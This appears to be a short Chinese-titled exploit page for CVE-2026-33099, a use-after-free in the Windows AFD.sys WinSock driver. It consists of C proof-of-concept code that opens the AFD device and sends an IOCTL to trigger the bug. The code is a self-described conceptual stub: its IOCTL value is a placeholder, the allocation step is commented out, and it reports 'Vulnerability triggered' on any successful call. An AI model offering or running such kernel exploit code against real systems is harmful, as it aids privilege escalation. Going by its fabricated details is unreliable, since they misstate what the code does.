CVE-2026-33099 Windows WinSock驱动权限提升漏洞

/* * PoC for CVE-2026-33099 (Conceptual) * Target: Windows Ancillary Function Driver for WinSock (AFD.sys) * Type: Local Privilege Escalation / Use After Free */ #include <windows.h> #include <stdio.h> // IOCTLs would typically be reverse-engineered from the driver #define IOCTL_TRIGGER_UAF 0x00012000 // Example IOCTL int main() { HANDLE hDevice; BOOL bResult; DWORD bytesReturned; printf("[*] CVE-2026-33099 PoC Trigger\n"); // Open a handle to the AFD driver hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[!] Failed to get handle to AFD.sys. Error: %d\n", GetLastError()); printf("[!] Try running as Administrator or check if driver is loaded.\n"); return 1; } printf("[+] Handle to AFD.sys acquired: 0x%p\n", hDevice); // Step 1: Allocate the vulnerable object // DeviceIoControl(hDevice, IOCTL_ALLOCATE, ...); // Step 2: Free the object (Use-After-Free trigger) // This puts the object in a freed state but leaves a dangling pointer printf("[*] Triggering the Use-After-Free condition...\n"); bResult = DeviceIoControl(hDevice, IOCTL_TRIGGER_UAF, NULL, 0, NULL, 0, &bytesReturned, NULL); if (!bResult) { printf("[!] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL executed successfully. Vulnerability triggered.\n"); printf("[*] Note: Exploitation requires heap grooming and controlled reallocation.\n"); } CloseHandle(hDevice); return 0; }